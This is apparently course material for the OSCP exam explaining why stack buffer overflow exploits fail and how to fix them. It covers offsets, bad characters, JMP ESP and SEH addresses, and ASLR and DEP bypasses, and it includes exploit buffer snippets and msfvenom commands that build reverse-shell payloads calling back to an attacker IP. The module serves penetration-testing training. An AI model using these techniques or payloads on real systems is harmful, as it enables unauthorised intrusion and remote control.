Why Exploits Fail
Module 10: Fixing Exploits | Topic 1
π‘ Key Insight: An exploit that works in a lab but fails in the real world is not a failure of the vulnerability β itβs a failure of the exploit craft. This topic transforms you from someone who copies exploits into someone who understands and fixes them.
Table of Contents
- Introduction: The Exploit Failure Spectrum
- The Exploit Lifecycle and Where Things Go Wrong
- Failure Mode 1: Wrong Offset / Buffer Size
- Failure Mode 2: Bad Characters
- Failure Mode 3: Wrong Module / Bad JMP Address
- Failure Mode 4: EIP Not Controlled
- Failure Mode 5: SEH Overwrite Failures
- Failure Mode 6: ASLR (Address Space Layout Randomization)
- Failure Mode 7: DEP (Data Execution Prevention / NX)
- Failure Mode 8: Wrong Encoding / Payload Corruption
- Failure Mode 9: Network and Environmental Issues
- Failure Mode 10: Timing and Race Conditions
- The Exploit Fixing Mindset: Decision Tree
- Failure Mode Quick-Reference Table
- Common Beginner Mistakes and How to Avoid Them
- Practical Lab Exercises
- Connection to the OSCP Exam
- Advanced Topics: When Multiple Protections Stack
- Checklist: Pre-Exploit Verification
- Summary and Key Takeaways
Introduction: The Exploit Failure Spectrum
Exploits fail along a spectrum β from the trivially fixable to the fundamentally impossible. Understanding where a failure falls on this spectrum is the first step to resolving it.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE EXPLOIT FAILURE SPECTRUM β
β β
β Easy to Fix Medium Effort Hard / Requires Bypass β
β βββββββββββ βββββββββββββ βββββββββββββββββββββββββ β
β β’ Wrong offset β’ Bad characters β’ DEP + ASLR combined β
β β’ Wrong module β’ Wrong encoding β’ Stack cookies (Canary) β
β β’ Typo in payload β’ Module not loaded β’ CFG / Control Flow Guardβ
β β’ Network timeout β’ SEH overwrite order β’ SafeSEH β
β β’ Port mismatch β’ Unicode filtering β’ CFG + DEP + ASLR β
β (W2K3+) β’ Modern Windows 10/11 β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Why This Topic Matters
In the OSCP exam, you will encounter machines where:
- The vulnerability exists but your initial exploit attempt crashes the service without a shell
- The exploit works on one machine but fails on another (different OS version, different patches)
- The exploit βalmostβ works β you get a partial overwrite, or the service recovers
The difference between passing and failing the OSCP often comes down to your ability to systematically diagnose and fix a broken exploit.
The Exploit Lifecycle and Where Things Go Wrong
Every buffer overflow exploit follows a sequence of steps. Failure can occur at any stage:
graph LR
A[1. Fuzz the<br>Application] --> B[2. Crash the<br>Application]
B --> C[3. Control EIP]
C --> D[4. Find Offset]
D --> E[5. Find Bad Chars]
E --> F[6. Find JMP<br>Instruction]
F --> G[7. Build Payload]
G --> H[8. Get Shell]
style A fill:#d4edda
style B fill:#d4edda
style C fill:#fff3cd
style D fill:#fff3cd
style E fill:#f8d7da
style F fill:#f8d7da
style G fill:#f8d7da
style H fill:#d4edda
Color Legend:
- π’ Green stages: Usually straightforward
- π‘ Yellow stages: Common failure points
- π΄ Red stages: High failure probability
The 80/20 Rule of Exploit Failures
80% of exploit failures come from just 3 causes: wrong offset, bad characters, and wrong module/JMP address.
Master the diagnosis of these three, and you can solve the vast majority of exploit problems.
Failure Mode 1: Wrong Offset / Buffer Size
What It Is
The offset is the exact number of bytes between the start of your buffer and the overwrite of EIP (Extended Instruction Pointer). If this value is wrong, your exploit cannot redirect execution.
Why It Happens
Correct offset: [AAAA...AAA][BBBBBBBB][CCCC...CCCC][shellcode]
^offset=2000 ^EIP=42424242
Wrong offset (+5): [AAAA...AAA][BBBBBBBB][CCCC...CCCC][shellcode]
^offset=2005 ^EIP is NOT 42424242 β it's garbage
Common causes:
- Using Metasploitβs
pattern_createwrong β generating the pattern with the wrong length - Misreading the EIP value in Immunity Debugger β copying the wrong register value
- The service buffers input differently than expected (e.g., prepends a length prefix)
- Multiple overwrites β the buffer overwrites EIP, then continues and corrupts other data
Real-World Example
# WRONG: Offset calculated as 2000, but actual is 2003
buffer = b'A' * 2000 + b'\xef\xbe\xad\xde' + b'C' * 300 + shellcode
# When sent, EIP might contain: 0x41414100 or some garbage
# because the 'B's (our address) landed 3 bytes too early
# CORRECT: Offset is 2003
buffer = b'A' * 2003 + b'\xef\xbe\xad\xde' + b'C' * 300 + shellcode
# Now EIP = 0xDEADBEEF exactly
How to Diagnose
| Symptom | Likely Issue |
|---|---|
EIP contains 0x41414141 (all Aβs) |
Offset too small β EIP is still in the filler region |
| EIP contains random garbage | Offset is off by a few bytes β the address bytes are misaligned |
| EIP contains part of your shellcode | Offset too large β you jumped past EIP into the shellcode region |
| Service crashes but EIP shows pattern bytes correctly | Offset is correct, but JMP address or payload is wrong |
How to Fix
# Step 1: Generate a unique pattern matching the expected buffer size
# msf-pattern_create -l 3000
# Step 2: Send the pattern and crash the app
# Step 3: Read EIP from Immunity Debugger (e.g., 0x6A41396A)
# Step 4: Calculate the exact offset
# msf-pattern_offset -l 3000 -q 6A41396A
# [*] Exact match at offset 2003
# Step 5: Verify with controlled overwrite
buffer = b'A' * 2003 + b'\x41\x41\x41\x41' + b'C' * 300
# EIP should now be exactly 0x41414141
β οΈ Critical: Always verify your offset by sending
A * offset + BBBBBBBBand confirming EIP =0x42424242. If itβs not, recalculate.
Failure Mode 2: Bad Characters
What It Is
Bad characters are byte values that get modified, stripped, or interpreted by the application before they reach the vulnerable buffer. If your shellcode or JMP address contains a bad character, the exploit will fail silently.
The Complete Bad Character Set
The full byte range: 0x00 through 0xFF (256 possible values)
Common bad characters and WHY they're bad:
ββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Characterβ Why It's Bad β
ββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β 0x00 β NULL terminator β C strings stop here β
β 0x0a β Newline (\n) β may terminate input lines β
β 0x0d β Carriage return (\r) β may terminate input lines β
β 0x0d0a β CRLF β HTTP protocol line terminator β
β 0x20 β Space β may be stripped by argument parsing β
β 0x22 β Double quote β may break quoted strings β
β 0x27 β Single quote β may break quoted strings β
β 0x2f β Forward slash β URL/path interpretation β
β 0x3a β Colon β drive specifier (Windows) β
β 0x3c3e β Angle brackets β HTML/protocol interpretation β
β 0x5c β Backslash β escape character β
β 0x7b7d β Curly braces β format string interpretation β
β 0xff β May cause signed/unsigned comparison issues β
ββββββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Why Bad Characters Kill Exploits
Your shellcode contains: \x90\x90\x90\x31\xc0\x50\x68\x00\x62\x65\x6c...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If 0x00 is a bad char, everything after it is CORRUPTED
The application receives: \x90\x90\x90\x31\xc0\x50\x68 [TRUNCATED]
The rest of your shellcode never arrives
How to Find Bad Characters
Step 1: Send the complete character set
# Generate all 256 byte values
badchars = b''
for i in range(256):
badchars += bytes([i])
# Verify it contains all 256 unique values
print(len(badchars)) # Should be 256
print(len(set(badchars))) # Should be 256
# Build the exploit with badchars in the shellcode position
nBuff = b'A' * offset + b'\xeb\x06\x90\x90' + b'\x90' * 16 + badchars
Step 2: Compare sent vs. received in Immunity Debugger
In Immunity:
1. Right-click on the buffer in memory
2. "Follow in dump"
3. Compare each byte against your expected sequence
Expected: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
Received: -- 01 02 03 04 05 06 07 08 09 -- 0b 0c -- 0e 0f
Bad chars found: 0x00, 0x0a, 0x0d
Step 3: Document and exclude
# Update your encoder to avoid bad characters
# In msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.X LPORT=443
-b '\x00\x0a\x0d' -f python -v shellcode
Real-World Protocol-Specific Bad Characters
| Protocol | Common Bad Characters | Reason |
|---|---|---|
| HTTP | \x00, \x0a, \x0d, \x20 |
HTTP header parsing |
| FTP | \x00, \x0a, \x0d |
Command-line termination |
| SMTP | \x00, \x0a, \x0d |
Message format |
| SIP | \x00, \x0a, \x0d, \x20 |
SIP header parsing |
| TFTP | \x00 |
Filename NULL termination |
| DNS | \x00 |
Label termination |
| Custom binary protocol | Varies | Application-specific parsing |
The βBad Character Cascadeβ Problem
β οΈ Advanced Warning: Sometimes a βbad characterβ isnβt truly bad β itβs just transformed. For example,
0x20(space) might become0x00after processing. This creates a different bad character than expected.
You send: ... 0x50 0x20 0x68 ...
App receives: ... 0x50 0x00 0x68 ...
^^^^ ^^^^ ^^^^
This 0x00 now truncates the string!
So the REAL bad character is 0x20 (which becomes 0x00), not 0x00 itself.
Failure Mode 3: Wrong Module / Bad JMP Address
What It Is
You need a JMP ESP (or similar) instruction to redirect execution to your shellcode. If the module containing this instruction is wrong, unloaded, or has protections, your exploit fails.
Why It Happens
Your exploit uses: 0x10024567 β JMP ESP in module.dll
But at runtime:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Module Loading Scenarios β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β 1. module.dll is NOT loaded at all β
β β Access violation at 0x10024567 β
β β
β 2. module.dll loads at DIFFERENT base address β
β β 0x10024567 points to wrong memory (ASLR) β
β β
β 3. module.dll has DEP/NX enabled β
β β Execution denied even if JMP succeeds β
β β
β 4. The instruction at 0x10024567 is NOT JMP ESP β
β β Wrong instruction executes, undefined behavior β
β β
β 5. module.dll is a different version than expected β
β β JMP ESP exists at different offset β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
How to Find a Reliable JMP Address
Method 1: Immunity Debugger + mona.py
!mona modules
!mona find -s "\xff\xe4" -m module_without_aslr.dll
!mona jmp -r esp -m module_without_aslr.dll
Method 2: Verify the Module Manually
In Immunity Debugger:
1. View β Executable Modules
2. Find your target module
3. Check: Rebase=NO, ASLR=NO, SafeSEH=NO, DEP=NO
4. Note the base address and calculate: base + offset_of_jmp_esp
Method 3: Cross-Verify with Multiple Methods
# NEVER trust a single source for your JMP address
# Verify using at least TWO methods:
# Method A: mona.py output
# 0x10024567 : jmp esp {non-aslr module.dll}
# Method B: Manual disassembly in Immunity
# Go to address 0x10024567 and verify it shows: FF E4 (JMP ESP)
# Method C: Check in OllyDbg as secondary verification
Module Selection Criteria
| Criteria | Why It Matters | How to Check |
|---|---|---|
| No ASLR | Address stays constant across reboots | !mona modules β ASLR column = False |
| No DEP/NX | Shellcode can execute on stack | !mona modules β DEP column = False |
| No SafeSEH | SEH overwrites wonβt be blocked | !mona modules β SafeSEH column = False |
| Loaded consistently | Module is always present | Check multiple crash sessions |
| Not system-critical | Crashing wonβt kill the whole system | Avoid kernel32.dll, ntdll.dll |
| Contains JMP ESP | You need the redirect instruction | !mona jmp -r esp -m module |
Real-World Example: Module Not Loaded
Scenario: You're exploiting a service that optionally loads plugins.
Your exploit was developed on a machine with plugin X installed.
The target machine does NOT have plugin X.
Result: Your JMP address points to plugin X's memory space.
That space is unmapped β ACCESS VIOLATION β crash, no shell.
Fix: Find a JMP ESP in a module that is ALWAYS loaded.
Usually the main application DLL or a core dependency.
Failure Mode 4: EIP Not Controlled
What It Is
Despite sending a large buffer, the application does not let you control EIP. The crash happens, but EIP contains an address you cannot influence.
Why It Happens
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Reasons EIP Might Not Be Controllable β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. The buffer overwrites EAX/EBX/ECX first, and the app β
β uses one of these to compute a return address β
β β
β 2. The vulnerable function uses 'setjmp/longjmp' or β
β structured exception handling that restores EIP β
β β
β 3. The overflow corrupts the stack but the function returns β
β via a safe path before hitting your overwritten frame β
β β
β 4. The application uses a bounded copy (memcpy with limit) β
β that prevents reaching EIP β
β β
β 5. The crash occurs in a different thread/context where β
β your buffer doesn't appear on the stack β
β β
β 6. The overflow is in heap memory, not stack memory β
β (heap overflow β different exploitation technique) β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
How to Diagnose
In Immunity Debugger after crash:
Step 1: Check EIP value
- If EIP = pattern bytes (like 0x6A41396A) β EIP IS controlled, find offset
- If EIP = fixed address (like 0x7C812ABC) β EIP is NOT directly controlled
Step 2: Check the stack
- Scroll through the stack β do you see your pattern bytes?
- If yes but not in EIP β the crash happens before reaching your data
- If no β your buffer is not on this thread's stack
Step 3: Check other registers
- Does EAX, EBX, ECX, or EDX contain your pattern?
- If yes β you might need to use a different redirect technique
How to Fix
Option A: Find a Different Input Vector
# Maybe the username field doesn't overflow to EIP,
# but the password field does. Try fuzzing each field separately.
# Field 1: Username
request = b'USER=' + b'A' * 5000 + b'&PASS=test'
# Field 2: Password
request = b'USER=test&PASS=' + b'A' * 5000
# Field 3: Comment/Description
request = b'USER=test&PASS=test&COMMENT=' + b'A' * 5000
Option B: Use a Different Register
If EAX contains your controlled data:
- Find a 'JMP EAX' or 'CALL EAX' instruction
- Redirect to that instruction
- EAX will then jump to your controlled data
!mona find -s "\xff\xe0" # Find JMP EAX
!mona find -s "\xff\xd0" # Find CALL EAX
Option C: Heap Spray (Advanced)
If the overflow is heap-based:
- You cannot directly control EIP
- Use heap spraying to fill heap with NOP sleds + shellcode
- Combined with a use-after-free or type confusion to redirect execution
Failure Mode 5: SEH Overwrite Failures
What It Is
When the overflow is too small to reach EIP directly, you may need to overwrite the Structured Exception Handler (SEH) record instead. SEH exploits have specific requirements that, if not met, cause failure.
SEH Record Structure
Each SEH record on the stack:
βββββββββββββββββββββββ¬ββββββββββββββββββββββ
β Next SEH Pointer β SEH Handler β
β (4 bytes) β (4 bytes) β
β 0x7FFxxx... β 0x100xxx... β
βββββββββββββββββββββββ΄ββββββββββββββββββββββ
^ ^
| |
| Your overwrite target
|
Must point to NEXT valid SEH record
OR use special overwrite technique
Why SEH Exploits Fail
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SEH Failure Modes β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. NEXT SEH overwritten with garbage β
β β Exception handler chain breaks β
β β Application crashes before reaching your handler β
β β
β 2. SEH Handler overwritten but POP POP RET not used β
β β Handler executes, but stack pointer is wrong β
β β Execution falls into garbage β
β β
β 3. Bad characters in the POP POP RET address β
β β Address gets corrupted, points to wrong location β
β β
β 4. Shellcode placed BEFORE the SEH record β
β β SEH handler overwrites your shellcode β
β β Shellcode is corrupted when exception fires β
β β
β 5. SafeSEH is enabled on the module β
β β Windows validates the SEH handler address β
β β Your overwrite is rejected, crash occurs β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
The SEH Exploit Payload Structure
CORRECT SEH Exploit Layout:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β [Junk to reach first SEH] β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
β [Next SEH Pointer: \x41\x41\x41\x41 or \xfc\xfc\xfc\xfc] β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
β [SEH Handler: POP POP RET address] β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
β [Short JMP back: \xeb\x06\x90\x90] β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
β [NOP Sled] β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
β [Shellcode] β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Execution flow:
1. Exception occurs
2. Windows calls SEH Handler (your POP POP RET address)
3. POP POP RET executes β EIP now points to \xeb\x06\x90\x90
4. \xeb\x06 jumps 6 bytes forward β into NOP sled β shellcode
Finding a POP POP RET Address
!mona config -set workingfolder c:\mona\%p
!mona seh
This lists all POP POP RET sequences in loaded modules.
Choose one from a module WITHOUT SafeSEH.
Example output:
0x1002A5CB : pop32 eax | pop32 eax | ret {non-aslr module.dll}
Real-World SEH Example
# WRONG SEH exploit (shellcode before SEH record)
buffer = b'A' * 500 + shellcode + b'\xab\xcd\xef\xfe' + b'\x10\x02\xa5\xcb'
# When exception fires, SEH handler overwrites the end of your shellcode!
# CORRECT SEH exploit (shellcode after SEH record)
nSEH = b'\xeb\x06\x90\x90' # Short jump back 6 bytes
sehAddr = b'\xcb\xa5\x02\x10' # POP POP RET (little-endian)
nBuff = b'\x90' * 16 # NOP sled
nBuff += shellcode
buffer = b'A' * 500 + nSEH + sehAddr + nBuff
Failure Mode 6: ASLR (Address Space Layout Randomization)
What It Is
ASLR randomizes the base address of modules (and sometimes the stack/heap) each time the process loads. An address that works in one session will be wrong in the next.
How ASLR Breaks Exploits
Session 1:
module.dll loads at 0x10000000
JMP ESP is at 0x10024567
Your exploit uses 0x10024567 β WORKS
Session 2 (after restart):
module.dll loads at 0x14000000 β DIFFERENT!
JMP ESP is now at 0x14024567
Your exploit still uses 0x10024567 β FAILS (access violation)
How to Check if a Module Has ASLR
In Immunity Debugger:
!mona modules
Look for the ASLR column:
Rebase ASLR SafeSEH DEP ChkPNG Path
------ ---- ------- --- ------ ----
False False False False False C:\path\to\vulnerable.dll β GOOD
False True False False False C:\path\to\other.dll β BAD
Bypassing ASLR
Strategy 1: Use a Non-ASLR Module
The simplest fix: Find a module that does NOT have ASLR enabled.
Most older Windows applications (XP, 2003, 7) have at least one such module.
!mona modules β Filter for ASLR=False
!mona jmp -r esp -m non_aslr_module.dll
Strategy 2: Information Leak
If you can read memory from the target (e.g., via a debug endpoint),
you can leak the actual base address and calculate the real JMP ESP address.
leaked_address = read_from_target() # e.g., 0x14024567
real_base = leaked_address - known_offset
real_jmp_esp = real_base + jmp_esp_offset
Strategy 3: Partial Overwrite
If you can only overwrite the lower bytes of EIP:
- ASLR typically randomizes the upper bytes
- The lower bytes (within a module) stay in a predictable range
- Overwrite just enough to land in your NOP sled
Example: If you control the last 2 bytes of EIP:
EIP = 0x1402XXXX
Set XXXX to land in a large NOP sled region
Strategy 4: Brute Force (Last Resort)
On 32-bit systems with limited entropy:
- ASLR may only randomize a few bits
- You can try multiple addresses in a loop
- Very unreliable and slow β avoid if possible
ASLR by Windows Version
| Windows Version | ASLR Default | Stack ASLR | Heap ASLR | Top-Level Randomization |
|---|---|---|---|---|
| XP | Optional | No | No | No |
| Server 2003 | Optional | No | No | No |
| Vista | Default | Yes | Yes | Yes |
| 7 | Default | Yes | Yes | Yes |
| 8/8.1 | Default | Yes | Yes | Yes |
| 10/11 | Mandatory | Yes | Yes | Yes |
π‘ OSCP Relevance: Most OSCP Windows machines run XP, Server 2003, or 7 β ASLR is often present but modules without ASLR are commonly available.
Failure Mode 7: DEP (Data Execution Prevention / NX)
What It Is
DEP (Data Execution Prevention), also known as NX (No-eXecute), marks certain memory regions (like the stack) as non-executable. Even if you redirect execution to your shellcode on the stack, the CPU will refuse to execute it.
How DEP Breaks Exploits
Without DEP:
EIP β stack (your shellcode) β Shell executes β SUCCESS
With DEP:
EIP β stack (your shellcode) β STATUS_ACCESS_VIOLATION β CRASH
The CPU detects that execution is happening in a non-executable region
How to Check if DEP is Enabled
In Immunity Debugger:
!mona modules
Look for the DEP column:
DEP ChkPNG Path
--- ------ ----
False False C:\path\to\vulnerable.dll β Shellcode CAN execute here
True False C:\path\to\other.dll β Shellcode CANNOT execute here
Check the stack:
!mona config -set workingfolder c:\mona\%p
!mona stack
Look for: "Stack is executable: Yes/No"
Bypassing DEP
Method 1: Return-Oriented Programming (ROP)
Concept: Instead of executing your own shellcode, chain together
existing code snippets ("gadgets") from DEP-enabled modules to:
1. Call VirtualProtect() to mark the stack as executable
2. Jump to your shellcode
ROP Chain Example:
Gadget 1: pop eax; ret β Load address of VirtualProtect into EAX
Gadget 2: pop ebx; ret β Load parameters
Gadget 3: pop ecx; ret β Load more parameters
...
Gadget N: call eax β Call VirtualProtect()
Then: Jump to shellcode
mona can help:
!mona rop -m module.dll
!mona suggest -m module.dll
Method 2: Use an Executable Memory Region
If DEP is only enabled on the stack but not on the heap:
- Allocate shellcode on the heap
- Redirect execution to the heap instead of the stack
If DEP is only on certain modules:
- Place shellcode in a module's data section that is executable
- Use the module's own memory space
Method 3: Find a Module Without DEP
!mona modules β Filter for DEP=False
Place your shellcode and redirect within that module's memory space.
Method 4: Egg Hunter
When you have very limited space (small buffer):
1. Place a tiny "egg hunter" stub at the redirect point
2. The egg hunter searches memory for a unique signature ("egg")
3. Your full shellcode is placed elsewhere with that signature
4. When found, the egg hunter jumps to your shellcode
Egg hunter is typically 12-34 bytes β fits in small overwrites.
DEP Types and Their Impact
| DEP Type | Description | Bypass Difficulty |
|---|---|---|
| OptIn | Only system modules are DEP-protected | Easy β user modules are executable |
| OptOut | All modules are DEP-protected by default | Medium β find non-DEP modules |
| HWDEP | Hardware-enforced NX bit on memory pages | Hard β requires ROP or similar |
| Software DEP | Emulated DEP without hardware support | Medium β sometimes bypassable |
Failure Mode 8: Wrong Encoding / Payload Corruption
What It Is
Your payload (shellcode) is generated correctly by msfvenom, but gets corrupted during transmission or encoding. The bytes arrive at the target differently than they were generated.
Common Encoding Issues
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Encoding Failure Modes β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Python string encoding β
β - Using str instead of bytes in Python 3 β
β - Shellcode as string gets Unicode-encoded β
β - Each byte becomes 2 bytes (UTF-16) β
β β
β 2. HTTP encoding β
β - URL encoding transforms special characters β
β - %XX encoding applied to your raw bytes β
β - Double-encoding on send/receive β
β β
β 3. Base64 encoding mismatch β
β - Payload base64-encoded but not decoded before send β
β - Or decoded twice β
β β
β 4. msfvenom format mismatch β
β - Generated as C array but pasted as raw bytes β
β - Generated as ruby but used in Python β
β β
β 5. Endianness errors β
β - Address in big-endian instead of little-endian β
β - \x10\x02\x45\x67 vs \x67\x45\x02\x10 β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Python 3 Encoding Pitfalls
# WRONG in Python 3:
shellcode = "\x90\x90\x90\x31\xc0..." # This is a Unicode string!
# When sent over socket, Python may encode as UTF-8/UTF-16
# Each byte becomes multiple bytes β CORRUPTION
# CORRECT in Python 3:
shellcode = b"\x90\x90\x90\x31\xc0..." # This is a bytes object
# Sent as raw bytes β CORRECT
# Also WRONG:
payload = "PREFIX" + shellcode # Can't concat str + bytes
# CORRECT:
payload = b"PREFIX" + shellcode # bytes + bytes = bytes
Endianness: The Silent Killer
x86 architecture uses LITTLE ENDIAN byte order.
Your JMP ESP address: 0x10024567
WRONG (big-endian):
buffer += b'\x10\x02\x45\x67'
β EIP will read: 0x67450210 β WRONG ADDRESS
CORRECT (little-endian):
buffer += b'\x67\x45\x02\x10'
β EIP will read: 0x10024567 β CORRECT ADDRESS
Quick reference:
Address 0x10024567 β bytes: \x67\x45\x02\x10
Address 0x7C812ABC β bytes: \xBC\x2A\x81\x7C
Address 0x00401234 β bytes: \x34\x12\x40\x00
msfvenom Encoding Options
# Raw Python bytes (most common for exploit scripts):
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443
-b '\x00\x0a\x0d' -f python -v sc
# Output looks like:
# sc = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe6..."
# If you need to avoid MORE bad characters, use an encoder:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443
-b '\x00\x0a\x0d' -e x86/shikata_ga_nai -f python -v sc
# The encoder transforms the shellcode to avoid bad chars
# BUT adds a decoder stub at the beginning
Failure Mode 9: Network and Environmental Issues
What It Is
The exploit code is correct, but network conditions, firewall rules, or environmental differences prevent the shell from connecting back or the payload from reaching the target.
Network Failure Modes
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Network Failure Scenarios β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Reverse shell cannot connect back β
β - Firewall blocks outbound connections on your port β
β - Target has no route to your machine β
β - Your listener is not running or on wrong interface β
β β
β 2. Bind shell cannot be reached β
β - Firewall blocks inbound connections β
β - Port is filtered by the target's firewall β
β β
β 3. Payload delivery fails β
β - TCP segmentation fragments your payload β
β - MTU issues truncate the buffer β
β - Proxy/IDS modifies or blocks the payload β
β β
β 4. DNS resolution fails β
β - Using hostname instead of IP in LHOST β
β - Target cannot resolve your hostname β
β β
β 5. IPv6 vs IPv4 mismatch β
β - Listener on IPv4, target connects via IPv6 (or vice) β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
How to Diagnose Network Issues
# Step 1: Verify your listener is running
netstat -an | grep 443
# Should show: 0.0.0.0:443 LISTENING or :::443 LISTENING
# Step 2: Verify connectivity from target to attacker
# (If you have any access to the target)
nmap -p 443 10.10.14.5
# Step 3: Check for firewall rules on the target
# (Windows)
netsh advfirewall firewall show rule name=all
# Step 4: Try different ports
# Common open ports: 80, 443, 8080, 8443
# Less common: 4444, 5555, 9999
# Step 5: Use a different payload type
# If reverse_tcp fails, try reverse_https, reverse_tcp_dll, etc.
Environmental Differences
Your Lab Machine: Target Machine:
βββββββββββββββββ βββββββββββββββββ
Windows XP SP3 Windows XP SP2 (different patches)
Python 3.10 Python 2.7 (different string handling)
Service running as Admin Service running as SYSTEM (different permissions)
No AV installed McAfee installed (may block shellcode)
Single NIC, 10.10.10.0/24 Multiple NICs, different subnet
English locale Chinese locale (different code pages)
Failure Mode 10: Timing and Race Conditions
What It Is
The exploit works sometimes but not others due to timing-dependent behavior in the application.
Common Timing Issues
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Timing Failure Modes β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Service restarts between crash and exploit β
β - You crash the service to find the offset β
β - The service auto-restarts with a different state β
β - Your calculated offset no longer applies β
β β
β 2. Multi-threaded processing β
β - Your payload is processed by a different thread β
β - Each thread has its own stack β different layout β
β β
β 3. Buffer allocation varies β
β - Dynamic buffer sizes based on load β
β - Your overflow works at low load but not high load β
β β
β 4. Network timing β
β - Payload split across multiple packets β
β - Application reassembles differently β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
The Exploit Fixing Mindset: Decision Tree
The Systematic Approach
When an exploit fails, do NOT randomly change things. Follow this decision tree:
flowchart TD
A[Exploit Fails] --> B{Does the service crash?}
B -->|No crash at all| C{Is the request reaching the target?}
C -->|No| D[Check network: port, firewall, routing]
C -->|Yes| E{Is the input reaching the vuln?}
E -->|No| F[Check protocol: headers, auth, format]
E -->|Yes| G[The buffer may not overflow β increase size]
B -->|Crashes| H{Can you REPRODUCE the crash?}
H -->|No| I[Check for: auto-restart, state changes, threading]
H -->|Yes| J{Does EIP contain YOUR data?}
J -->|No| K{Does ANY register contain your data?}
K -->|No| L[EIP not controllable β try different input field]
K -->|Yes EAX/EBX/etc| M[Find JMP/CALL to that register]
J -->|Yes| N{Is EIP a KNOWN value like 0x42424242?}
N -->|No| O[Find the offset using pattern_offset]
N -->|Yes| P{Is the offset VERIFIED?}
P -->|No| Q[Verify: send A*offset + B*4, check EIP=0x42424242]
P -->|Yes| R{Does JMP address module exist?}
Q --> R
R -->|No| S[Find alternative module with JMP ESP]
R -->|Yes| T{Does the module have ASLR?}
T -->|Yes| U[Find non-ASLR module or use info leak]
T -->|No| V{Does the module have DEP?}
U --> V
V -->|Yes| W[Use ROP, egg hunter, or non-DEP module]
V -->|No| X{Are there bad characters?}
W --> X
X -->|Unknown| Y[Run bad char analysis]
X -->|Yes, known| Z[Regenerate shellcode avoiding bad chars]
Y --> Z
Z --> AA{Shell still not working?}
AA -->|No β got shell!| AB[SUCCESS! π]
AA -->|Yes| AC{Check shellcode in debugger}
AC --> AD{Is shellcode intact in memory?}
AD -->|No| AE[More bad chars found β repeat analysis]
AD -->|Yes| AF{Does execution reach shellcode?}
AE --> Z
AF -->|No| AG[Check JMP address, NOP sled, encoding]
AF -->|Yes| AH{Does shellcode execute?}
AG --> AI[Verify JMP instruction at the address]
AH -->|No| AJ[DEP/NX blocking β use ROP]
AH -->|Yes| AK{Does reverse shell connect?}
AJ --> W
AK -->|No| AL[Check network, LHOST, LPORT, firewall]
AK -->|Yes| AB
AL --> AM[Try different port, check netstat, verify IP]
AM --> AK
The Exploit Debugging Checklist
Use this checklist every time an exploit fails:
β‘ 1. Does the service crash reliably?
β‘ 2. Is EIP controlled by my input?
β‘ 3. Is the offset correct? (Verified with A*offset + B*4)
β‘ 4. Are there bad characters? (Full 256-byte analysis done)
β‘ 5. Does the JMP module load consistently?
β‘ 6. Does the JMP module have ASLR? (ASLR = False)
β‘ 7. Does the JMP module have DEP? (DEP = False)
β‘ 8. Is the JMP address in little-endian format?
β‘ 9. Is the shellcode generated without bad characters?
β‘ 10. Is the shellcode intact in memory? (Check in debugger)
β‘ 11. Is the listener running on the correct port?
β‘ 12. Is the LHOST correct? (Target can reach it)
β‘ 13. Is the payload format correct? (bytes, not string)
β‘ 14. Is the network path clear? (No firewall blocking)
Failure Mode Quick-Reference Table
| # | Failure Mode | Frequency | Impact | Difficulty to Fix | Key Diagnostic | Primary Fix |
|---|---|---|---|---|---|---|
| 1 | Wrong offset | βββββ | Critical | Easy | EIP β expected value | pattern_offset |
| 2 | Bad characters | βββββ | Critical | Medium | Shellcode corrupted in memory | Full byte analysis + encoder |
| 3 | Wrong module/JMP | ββββ | Critical | Medium | Access violation at JMP addr | !mona modules + !mona jmp |
| 4 | EIP not controlled | βββ | Critical | Hard | EIP has no pattern bytes | Try different input/register |
| 5 | SEH overwrite wrong | βββ | High | Medium | Crash before handler runs | Fix SEH layout + POP POP RET |
| 6 | ASLR | βββ | High | Medium-Hard | Address changes per session | Non-ASLR module or info leak |
| 7 | DEP/NX | βββ | High | Hard | Access violation at shellcode | ROP, egg hunter, non-DEP module |
